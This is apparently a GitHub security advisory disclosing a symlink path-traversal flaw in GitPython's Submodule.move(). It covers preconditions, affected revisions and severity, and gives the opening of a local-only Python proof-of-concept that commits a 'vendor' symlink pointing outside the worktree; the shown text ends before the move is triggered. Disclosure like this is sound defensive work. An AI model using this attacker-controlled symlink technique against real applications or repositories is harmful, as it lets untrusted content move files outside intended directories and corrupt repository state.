GitPython: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (ghsa:GHSA-gq48-pqfc-9p58)

Summary

GitPython's public Submodule.move() API verifies that its destination is lexically inside the parent repository, but it does not reject symbolic links in the destination's intermediate components before filesystem operations. On systems that check out Git symlinks, an untrusted repository can therefore redirect a fixed, application-selected move destination outside the parent worktree.

The reporter reproduced this on the latest release, GitPython 3.1.62, and current main. In the strict scenario, the repository commits vendor -> ../outside, while the consuming application independently passes the fixed literal vendor/module. Submodule.move() follows vendor, moves the initialized submodule checkout to outside/module, rewrites .gitmodules and the index to the symlinked path, and leaves the index unable to produce a tree.

The same result occurs when the committed symlink contains an absolute path to an external directory. No attacker-controlled API argument, local symlink planting, race, Git hook, unsafe-option flag, or network access during the proof is required.

Trust boundary and preconditions

The attacker controls:

• an untrusted Git repository that the application clones;
• a mode-120000 tracked symlink named vendor;
• the initialized submodule's content.

The consuming application controls the call and uses a fixed layout rule:

submodule.move("vendor/module")

The trigger requires the application to initialize the submodule and later call Submodule.move() with a path below the attacker-committed symlink. Ordinary clone or submodule update does not automatically make this call. Windows was not tested. The primitive applies where Git materializes the tracked entry as a real symlink; on Windows that generally requires core.symlinks=true with Developer Mode or sufficient privilege. Configurations that materialize it as an ordinary file do not take this path.

Product and directly verified revisions

• Package: GitPython (pip ecosystem)
• Latest release: 3.1.62, tag commit db47516dac750c5968b8f6d388b18712c355df50
• Current main: b62e91be897f687a622e40cd1e59c33dce45f124
• Relevant git/objects/submodule/base.py SHA-256 in both revisions: a4355d49e0b75c7c7e74d33ac70ff9550f940c977848c99da40eb41e034b189c
• Upstream state rechecked: 2026-09-10 KST

Only these two revisions were directly tested.

Severity and weakness

The demonstrated impact is an integrity boundary violation: repository content selects an existing directory outside the worktree, and GitPython moves an attacker-influenced checkout into a missing or empty child path there with the victim process's permissions. It also removes the original checkout and corrupts the parent repository's index/configuration state.

For a downstream service that remotely accepts repositories and performs this exact layout operation with user involvement retained, AV:N gives a conditional application-level score of 7.1. A fully automatic service may warrant a different UI assessment. The library report uses AV:L because the vulnerable API call is a separate application action and is not part of GitPython's ordinary clone/update flow.

No confidentiality impact, code execution, overwrite of an existing file, or overwrite of a non-empty directory was demonstrated.

Reproducer

The following script creates only temporary local repositories and a self-generated canary. It passes protocol.file.allow=always separately with -c on each fixture Git invocation; that permission is process-scoped and is not persisted to global or repository configuration.

Run it from a fresh source checkout:

git clone --depth 1 --branch 3.1.62 https://github.com/gitpython-developers/GitPython.git
python3 poc.py /path/to/GitPython
python3 poc.py --absolute-link /path/to/GitPython

--absolute-link commits the temporary external directory's absolute path instead of ../outside.

#!/usr/bin/env python3
"""Local-only reproducer for GitPython Submodule.move() symlink traversal."""

from __future__ import annotations

import argparse
import json
import subprocess
import sys
import tempfile
from pathlib import Path
from typing import Optional


def run_git(
    *args: str, cwd: Optional[Path] = None, check: bool = True
) -> subprocess.CompletedProcess:
    command = [
        "git",
        "-c",
        "user.name=GitPython security fixture",
        "-c",
        "user.email=fixture@example.invalid",
        "-c",
        "protocol.file.allow=always",
        *args,
    ]
    return subprocess.run(command, cwd=cwd, check=check, text=True, capture_output=True)


def read_core_worktree(parent) -> str:
    module_config = Path(parent.git_dir) / "modules" / "logical-name" / "config"
    return parent.git.config("--file", str(module_config), "--get", "core.worktree")


def read_gitmodules_path(parent) -> str:
    modules_file = Path(parent.working_tree_dir) / ".gitmodules"
    return parent.git.config(
        "--file", str(modules_file), "--get", "submodule.logical-name.path"
    )


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("source_root", type=Path, help="GitPython source checkout")
    parser.add_argument(
        "--absolute-link",
        action="store_true",
        help=(
            "Use the temporary external directory's absolute path as the committed "
            "symlink target"
        ),
    )
    args = parser.parse_args()

    source_root = args.source_root.resolve()
    # The tested GitPython source trees include gitdb and smmap at their roots.
    sys.path[:0] = [
        str(source_root),
        str(source_root / "gitdb"),
        str(source_root / "smmap"),
    ]
    import gitdb  # pylint: disable=import-outside-toplevel
    import smmap  # pylint: disable=import-outside-toplevel
    from git import Repo  # pylint: disable=import-outside-toplevel

    with tempfile.TemporaryDirectory(prefix="gitpython-move-poc-") as temporary:
        root = Path(temporary)
        module_source = root / "module-source"
        attacker = root / "attacker-parent"
        victim = root / "victim-parent"
        outside = root / "outside"

        run_git("init", "--quiet", str(module_source))
        (module_source / "SELF_GENERATED_CANARY.txt").write_text(
            "SELF_GENERATED_CANARY\n", encoding="utf-8"
        )
        run_git("add", "SELF_GENERATED_CANARY.txt", cwd=module_source)
        run_git("commit", "--quiet", "-m", "fixture", cwd=module_source)

        outside.mkdir()
        run_git("init", "--quiet", str(attacker))
        run_git(
            "submodule",
            "add",
            "--quiet",
            "--name",
            "logical-name",
            str(module_source),
            "module",
            cwd=attacker,
        )
        link_target = str(outside.resolve()) if args.absolute_link else "../outside"
        (attacker / "vendor").symlink_to(link_target, target_is_directory=True)
        run_git("add", ".gitmodules", "module", "vendor", cwd=attacker)
        run_git("commit", "--quiet", "-m", "attacker-controlled layout", cwd=attacker)

        run_git("clone", "--quiet", str(attacker), str(victim))
        run_git("submodule", "update", "--init", "--quiet", cwd=victim)

        parent = Repo(victim)
        submodule = parent.submodule("logical-name")
        before = {
            "status": parent.git.status("--porcelain"),
            "write_tree": parent.git.write_tree(),
            "vendor_index": parent.git.ls_files("--stage", "vendor"),
            "index_paths": parent.git.ls_files().splitlines(),
            "gitmodules_path": read_gitmodules_path(parent),
            "source_canary": (victim / "module" / "SELF_GENERATED_CANARY.txt").exists(),
            "external_canary": (
                outside / "module" / "SELF_GENERATED_CANARY.txt"
            ).exists(),
            "module_core_worktree": read_core_worktree(parent),
        }